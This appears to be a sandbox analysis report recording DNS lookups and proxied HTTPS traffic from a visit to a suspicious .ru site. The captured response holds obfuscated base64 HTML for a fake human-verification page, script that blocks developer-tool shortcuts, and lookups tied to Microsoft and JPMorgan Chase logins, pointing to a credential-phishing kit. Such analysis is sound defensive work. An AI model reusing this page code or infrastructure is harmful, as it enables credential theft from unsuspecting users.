Jan 10, 2025 19:05:07.227257013 CET	1.1.1.1	192.168.2.16	0x960c	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:07.227257013 CET	1.1.1.1	192.168.2.16	0x960c	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:08.075124979 CET	1.1.1.1	192.168.2.16	0x9de	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:08.075124979 CET	1.1.1.1	192.168.2.16	0x9de	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:08.103388071 CET	1.1.1.1	192.168.2.16	0x5572	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:08.103388071 CET	1.1.1.1	192.168.2.16	0x5572	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:08.137882948 CET	1.1.1.1	192.168.2.16	0x2ab0	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:08.137882948 CET	1.1.1.1	192.168.2.16	0x2ab0	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:09.228367090 CET	1.1.1.1	192.168.2.16	0x15dd	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:09.228367090 CET	1.1.1.1	192.168.2.16	0x15dd	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:09.228367090 CET	1.1.1.1	192.168.2.16	0x15dd	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:09.234565020 CET	1.1.1.1	192.168.2.16	0x4f07	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:09.234565020 CET	1.1.1.1	192.168.2.16	0x4f07	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:52.373322964 CET	1.1.1.1	192.168.2.16	0x3697	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:52.373466015 CET	1.1.1.1	192.168.2.16	0xee28	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:06:05.533235073 CET	1.1.1.1	192.168.2.16	0xb4ae	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:06:05.533582926 CET	1.1.1.1	192.168.2.16	0xe287	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:06:08.842199087 CET	1.1.1.1	192.168.2.16	0x79	No error (0)	idag2.jpmorganchase.com	idag2.intl.gslbjpmchase.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:06:08.919647932 CET	1.1.1.1	192.168.2.16	0x913	No error (0)	idag2.jpmorganchase.com	idag2.intl.gslbjpmchase.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:06:08.919647932 CET	1.1.1.1	192.168.2.16	0x913	No error (0)	idag2.intl.gslbjpmchase.com		170.148.209.228	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:06:12.488673925 CET	1.1.1.1	192.168.2.16	0xc999	No error (0)	idag2.jpmorganchase.com	idag2.intl.gslbjpmchase.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:06:12.667973042 CET	1.1.1.1	192.168.2.16	0xc9ad	No error (0)	idag2.jpmorganchase.com	idag2.intl.gslbjpmchase.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:06:12.667973042 CET	1.1.1.1	192.168.2.16	0xc9ad	No error (0)	idag2.intl.gslbjpmchase.com		170.148.240.44	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:06:16.915513992 CET	1.1.1.1	192.168.2.16	0x778d	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:06:16.915513992 CET	1.1.1.1	192.168.2.16	0x778d	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:06:16.915961027 CET	1.1.1.1	192.168.2.16	0x3391	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:06:16.915961027 CET	1.1.1.1	192.168.2.16	0x3391	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:06:16.948901892 CET	1.1.1.1	192.168.2.16	0x9134	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:06:16.948901892 CET	1.1.1.1	192.168.2.16	0x9134	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

pllu.gnoqwwhpwe.ru

https:

code.jquery.com

challenges.cloudflare.com

cdnjs.cloudflare.com

qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru

idag2.jpmorganchase.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49716	188.114.96.3	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:47 UTC	666	OUT	GET /3aeK/ HTTP/1.1 Host: pllu.gnoqwwhpwe.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:48 UTC	1250	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:04:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oxIuxbhhMCg6eTX5JC%2F%2ByIQbHNRRs7xucaTWHyhIgyjRrxN0d6rMnhC2CU%2B3%2BxGlKnPHTL2ETFlsWQSwxV81%2FTgzLH7wO7t%2FRai%2BvDYf52ia7hLPxGiNWDecIa8t8g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4437&min_rtt=4322&rtt_var=1293&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1575&delivery_rate=631065&cwnd=251&unsent_bytes=0&cid=e0641d85d006164d&ts=116&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjgzSVpEQUpSSUt5NkhGc25sZ3JlbXc9PSIsInZhbHVlIjoiRGZSa1N5TCtQdWxNOVNheWI3M2FrenlnNjh1VWU3OWFxRjhhbHlSajAvUTM5eUgyZStucWwwQ0RRTnJiMWNIZFBoYW5QSFNIYjgzQUhhcXUyRkpRaHFmR0lnd1BoMUZSNERPNC9xUGlDVGowbnlScW5UVkwwQTZOdlUxZ2ZXTXEiLCJtYWMiOiJlN2FmM2NjMzI5MjUyMGE1ODZiNWJjZjczODY1MzU1NGZkMzhiNmNmMTRiNWRjMTVhMGU4ZmJiZmQ0YzFhMjFjIiwidGFnIjoiIn0%3D; expires=Fri, 10-Jan-2025 20:04:48 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-01-10 18:04:48 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 70 5a 4e 44 68 6e 65 6d 73 34 4d 56 56 77 57 6b 74 50 51 54 6c 6e 61 32 4d 32 55 30 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 54 46 61 54 6b 39 78 52 57 78 44 64 48 56 70 61 54 56 6a 56 33 67 7a 55 69 38 31 63 45 68 59 4d 57 46 51 51 33 42 58 56 55 31 46 54 47 55 35 4f 58 4a 46 57 6b 39 49 53 54 5a 4f 56 55 73 7a 5a 79 73 34 5a 6c 52 77 53 32 5a 77 5a 6b 4a 56 55 6b 31 6f 4e 45 31 6e 62 30 74 49 63 6a 6c 4f 61 7a 4a 50 54 57 4a 6a 64 30 78 4b 52 6e 64 4b 53 6a 64 6a 5a 45 64 31 52 69 38 72 61 33 6b 77 62 47 64 50 53 33 46 35 4d 55 68 73 55 58 46 56 62 6c 52 6d 64 58 68 43 59 58 51 32 59 6a 4a 70 54 56 59 35 62 47 74 4e 62 58 41 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlpZNDhnems4MVVwWktPQTlna2M2U0E9PSIsInZhbHVlIjoiZTFaTk9xRWxDdHVpaTVjV3gzUi81cEhYMWFQQ3BXVU1FTGU5OXJFWk9ISTZOVUszZys4ZlRwS2ZwZkJVUk1oNE1nb0tIcjlOazJPTWJjd0xKRndKSjdjZEd1Ri8ra3kwbGdPS3F5MUhsUXFVblRmdXhCYXQ2YjJpTVY5bGtNbXA
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 31 33 38 33 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 69 73 20 68 6f 77 20 68 69 67 68 20 79 6f 75 20 62 6f 75 6e 63 65 20 77 68 65 6e 20 79 6f 75 20 68 69 74 20 62 6f 74 74 6f 6d 2e 20 2d 2d 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 77 62 47 78 31 4c 6d 64 75 62 33 46 33 64 32 68 77 64 32 55 75 63 6e 55 76 4d 32 46 6c 53 79 38 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 Data Ascii: 1383... Success is how high you bounce when you hit bottom. --><script>if(atob("aHR0cHM6Ly9wbGx1Lmdub3F3d2hwd2UucnUvM2FlSy8=") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 64 43 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 56 47 4a 52 53 56 4a 44 65 47 6c 44 5a 43 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 31 52 69 55 55 6c 53 51 33 68 70 51 32 51 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 30 4e 43 69 4e 55 59 6c 46 4a 55 6b 4e 34 61 55 4e 6b 49 43 35 30 5a 58 68 30 4c 57 4e 6c 62 6e 52 6c 63 69 42 37 64 47 56 34 64 43 31 68 62 47 6c 6e 62 6a 6f 67 59 32 56 75 64 47 56 79 49 57 6c 74 63 47 39 79 64 47 46 75 64 44 74 39 44 51 70 41 62 57 56 6b 61 57 45 67 4b 47 31 70 62 69 31 Data Ascii: dC1zaXplOjEuNXJlbTt9DQp9DQojVGJRSVJDeGlDZCBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI1RiUUlSQ3hpQ2QuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO30NCiNUYlFJUkN4aUNkIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi1
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 47 46 44 51 6d 31 68 56 33 68 7a 55 46 4e 4a 61 6c 70 45 62 47 74 50 56 31 45 31 53 57 6c 43 61 31 42 54 53 6b 35 4e 56 45 31 6e 54 55 64 46 65 45 31 35 51 58 68 4e 65 55 46 33 53 55 52 46 5a 30 31 44 51 58 64 4a 52 45 6b 79 53 55 52 46 65 6b 6c 45 52 58 70 4a 52 45 46 6e 54 55 4e 42 64 30 6c 45 51 58 52 4e 61 6c 70 30 54 55 4e 42 65 55 35 48 52 58 68 4e 55 30 46 34 54 56 4e 42 64 30 6c 45 52 57 64 4e 55 30 46 33 54 46 52 4a 65 55 6c 45 52 58 68 4a 52 45 56 34 53 55 52 42 5a 30 31 44 51 58 68 4a 52 45 46 6e 54 57 70 4a 61 55 78 36 4e 44 68 6a 52 30 59 77 59 55 4e 43 62 57 46 58 65 48 4e 51 55 30 6c 71 57 6b 52 73 61 30 39 58 55 54 56 4a 61 55 4a 72 55 46 4e 4b 64 45 31 55 51 58 56 50 56 46 55 78 53 55 52 46 4d 6b 78 71 51 54 46 4f 55 7a 42 36 54 47 70 72 Data Ascii: GFDQm1hV3hzUFNJalpEbGtPV1E1SWlCa1BTSk5NVE1nTUdFeE15QXhNeUF3SURFZ01DQXdJREkySURFeklERXpJREFnTUNBd0lEQXRNalp0TUNBeU5HRXhNU0F4TVNBd0lERWdNU0F3TFRJeUlERXhJREV4SURBZ01DQXhJREFnTWpJaUx6NDhjR0YwYUNCbWFXeHNQU0lqWkRsa09XUTVJaUJrUFNKdE1UQXVPVFUxSURFMkxqQTFOUzB6TGpr
2025-01-10 18:04:48 UTC	896	IN	Data Raw: 56 75 5a 32 55 74 63 33 56 6a 59 32 56 7a 63 79 31 30 5a 58 68 30 65 32 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 74 61 57 31 68 5a 32 55 36 64 58 4a 73 4b 47 52 68 64 47 45 36 61 57 31 68 5a 32 55 76 63 33 5a 6e 4b 33 68 74 62 44 74 69 59 58 4e 6c 4e 6a 51 73 55 45 68 4f 4d 6c 70 35 51 6a 52 69 56 33 68 31 59 33 6f 77 61 57 46 49 55 6a 42 6a 52 47 39 32 54 44 4e 6b 4d 32 52 35 4e 54 4e 4e 65 54 56 32 59 32 31 6a 64 6b 31 71 51 58 64 4e 51 7a 6c 36 5a 47 31 6a 61 55 6c 49 5a 48 42 61 53 46 4a 76 55 46 4e 4a 65 6b 31 70 53 57 64 68 52 31 5a 77 57 6a 4a 6f 4d 46 42 54 53 58 70 4e 61 55 6c 6e 57 6d 31 73 63 32 4a 45 4d 47 6c 69 62 54 6c 31 57 6c 4e 4a 5a 32 52 74 62 47 78 6b 4d 45 70 32 5a 55 51 77 61 55 31 44 51 58 64 4a 52 45 6b 79 53 55 52 4a 4d 6b 6c 71 4e Data Ascii: VuZ2Utc3VjY2Vzcy10ZXh0e2JhY2tncm91bmQtaW1hZ2U6dXJsKGRhdGE6aW1hZ2Uvc3ZnK3htbDtiYXNlNjQsUEhOMlp5QjRiV3h1Y3owaWFIUjBjRG92TDNkM2R5NTNNeTV2Y21jdk1qQXdNQzl6ZG1jaUlIZHBaSFJvUFNJek1pSWdhR1ZwWjJoMFBTSXpNaUlnWm1sc2JEMGlibTl1WlNJZ2RtbGxkMEp2ZUQwaU1DQXdJREkySURJMklqN
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 36 62 37 36 0d 0a 62 47 6c 75 5a 53 31 69 62 47 39 6a 61 7a 74 77 62 33 4e 70 64 47 6c 76 62 6a 70 79 5a 57 78 68 64 47 6c 32 5a 54 74 39 44 51 6f 75 62 47 52 7a 4c 58 4a 70 62 6d 63 73 4c 6d 78 6b 63 79 31 79 61 57 35 6e 49 47 52 70 64 6e 74 6f 5a 57 6c 6e 61 48 51 36 4d 53 34 34 4e 7a 56 79 5a 57 30 37 64 32 6c 6b 64 47 67 36 4d 53 34 34 4e 7a 56 79 5a 57 30 37 66 51 30 4b 4c 6d 78 6b 63 79 31 79 61 57 35 6e 49 47 52 70 64 6e 74 68 62 6d 6c 74 59 58 52 70 62 32 34 36 62 47 52 7a 4c 58 4a 70 62 6d 63 67 4d 53 34 79 63 79 42 6a 64 57 4a 70 59 79 31 69 5a 58 70 70 5a 58 49 6f 4c 6a 55 73 4d 43 77 75 4e 53 77 78 4b 53 42 70 62 6d 5a 70 62 6d 6c 30 5a 54 74 69 62 33 4a 6b 5a 58 49 36 4c 6a 4e 79 5a 57 30 67 63 32 39 73 61 57 51 67 64 48 4a 68 62 6e 4e 77 59 Data Ascii: 6b76bGluZS1ibG9jaztwb3NpdGlvbjpyZWxhdGl2ZTt9DQoubGRzLXJpbmcsLmxkcy1yaW5nIGRpdntoZWlnaHQ6MS44NzVyZW07d2lkdGg6MS44NzVyZW07fQ0KLmxkcy1yaW5nIGRpdnthbmltYXRpb246bGRzLXJpbmcgMS4ycyBjdWJpYy1iZXppZXIoLjUsMCwuNSwxKSBpbmZpbml0ZTtib3JkZXI6LjNyZW0gc29saWQgdHJhbnNwY
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 75 4f 6d 4e 6c 62 6e 52 6c 63 6a 74 39 44 51 6f 75 5a 6d 39 76 64 47 56 79 49 43 35 79 59 58 6b 74 61 57 51 67 59 32 39 6b 5a 58 74 6d 62 32 35 30 4c 57 5a 68 62 57 6c 73 65 54 70 74 62 32 35 68 59 32 38 73 59 32 39 31 63 6d 6c 6c 63 69 78 74 62 32 35 76 63 33 42 68 59 32 55 37 66 51 30 4b 51 47 31 6c 5a 47 6c 68 49 43 68 33 61 57 52 30 61 43 41 38 50 53 41 33 4d 6a 42 77 65 43 6c 37 44 51 6f 75 5a 47 6c 68 5a 32 35 76 63 33 52 70 59 79 31 33 63 6d 46 77 63 47 56 79 65 32 52 70 63 33 42 73 59 58 6b 36 5a 6d 78 6c 65 44 74 6d 62 47 56 34 4c 58 64 79 59 58 41 36 64 33 4a 68 63 44 74 71 64 58 4e 30 61 57 5a 35 4c 57 4e 76 62 6e 52 6c 62 6e 51 36 59 32 56 75 64 47 56 79 4f 33 30 4e 43 69 35 6a 62 47 56 68 63 6d 5a 70 65 44 70 68 5a 6e 52 6c 63 6e 74 6a 62 47 Data Ascii: uOmNlbnRlcjt9DQouZm9vdGVyIC5yYXktaWQgY29kZXtmb250LWZhbWlseTptb25hY28sY291cmllcixtb25vc3BhY2U7fQ0KQG1lZGlhICh3aWR0aCA8PSA3MjBweCl7DQouZGlhZ25vc3RpYy13cmFwcGVye2Rpc3BsYXk6ZmxleDtmbGV4LXdyYXA6d3JhcDtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO30NCi5jbGVhcmZpeDphZnRlcntjbG
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4e 7a 4d 70 49 48 78 38 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 74 5a 58 52 68 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 46 73 64 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 32 4e 79 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 31 6c 64 47 46 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4f 44 55 70 44 51 6f 67 49 43 41 67 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 Data Ascii: JiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICA
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 69 49 2b 44 51 6f 38 5a 47 6c 32 49 47 4e 73 59 58 4e 7a 50 53 4a 74 59 57 6c 75 4c 57 4e 76 62 6e 52 6c 62 6e 51 69 50 67 30 4b 50 47 67 78 49 47 4e 73 59 58 4e 7a 50 53 4a 36 62 32 35 6c 4c 57 35 68 62 57 55 74 64 47 6c 30 62 47 55 67 61 44 45 67 52 6d 52 50 5a 56 64 4e 52 30 68 35 59 79 49 2b 54 45 70 44 56 31 52 4a 53 55 70 76 65 44 77 76 61 44 45 2b 44 51 6f 38 61 44 49 67 61 57 51 39 49 6d 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 31 79 64 57 35 75 61 57 35 6e 49 69 42 6a 62 47 46 7a 63 7a 30 69 61 44 49 69 50 6c 5a 6c 63 6d 6c 6d 65 53 42 35 62 33 56 79 49 47 68 31 62 57 46 75 61 58 52 35 49 47 4a 35 49 47 4e 76 62 58 42 73 5a 58 52 70 62 6d 63 67 64 47 68 6c 49 47 5a 76 62 47 78 76 64 32 6c 75 5a 79 42 30 59 58 4e 72 4c 6a 77 76 61 44 49 2b 44 51 6f 38 Data Ascii: iI+DQo8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPg0KPGgxIGNsYXNzPSJ6b25lLW5hbWUtdGl0bGUgaDEgRmRPZVdNR0h5YyI+TEpDV1RJSUpveDwvaDE+DQo8aDIgaWQ9ImNoYWxsZW5nZS1ydW5uaW5nIiBjbGFzcz0iaDIiPlZlcmlmeSB5b3VyIGh1bWFuaXR5IGJ5IGNvbXBsZXRpbmcgdGhlIGZvbGxvd2luZyB0YXNrLjwvaDI+DQo8
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 42 69 5a 57 5a 76 63 6d 55 67 59 32 39 75 64 47 6c 75 64 57 6c 75 5a 79 34 38 4c 32 52 70 64 6a 34 4e 43 6a 78 6b 61 58 59 67 61 57 51 39 49 6d 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 31 7a 64 57 4e 6a 5a 58 4e 7a 49 69 42 7a 64 48 6c 73 5a 54 30 69 5a 47 6c 7a 63 47 78 68 65 54 6f 67 62 6d 39 75 5a 54 73 69 50 6a 78 6b 61 58 59 67 61 57 51 39 49 6d 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 31 7a 64 57 4e 6a 5a 58 4e 7a 4c 58 52 6c 65 48 51 69 49 47 4e 73 59 58 4e 7a 50 53 4a 6f 4d 69 49 2b 56 6d 56 79 61 57 5a 70 59 32 46 30 61 57 39 75 49 48 4e 31 59 32 4e 6c 63 33 4e 6d 64 57 77 38 4c 32 52 70 64 6a 34 4e 43 6a 78 6b 61 58 59 67 59 32 78 68 63 33 4d 39 49 6d 4e 76 63 6d 55 74 62 58 4e 6e 49 48 4e 77 59 57 4e 6c 63 69 42 47 5a 45 39 6c 56 30 31 48 53 48 6c 6a 49 Data Ascii: BiZWZvcmUgY29udGludWluZy48L2Rpdj4NCjxkaXYgaWQ9ImNoYWxsZW5nZS1zdWNjZXNzIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPjxkaXYgaWQ9ImNoYWxsZW5nZS1zdWNjZXNzLXRleHQiIGNsYXNzPSJoMiI+VmVyaWZpY2F0aW9uIHN1Y2Nlc3NmdWw8L2Rpdj4NCjxkaXYgY2xhc3M9ImNvcmUtbXNnIHNwYWNlciBGZE9lV01HSHljI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49717	151.101.130.137	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:48 UTC	624	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pllu.gnoqwwhpwe.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:48 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2016815 Date: Fri, 10 Jan 2025 18:04:48 GMT X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890094-NYC X-Cache: HIT, HIT X-Cache-Hits: 55, 0 X-Timer: S1736532289.877117,VS0,VE1 Vary: Accept-Encoding
2025-01-10 18:04:48 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
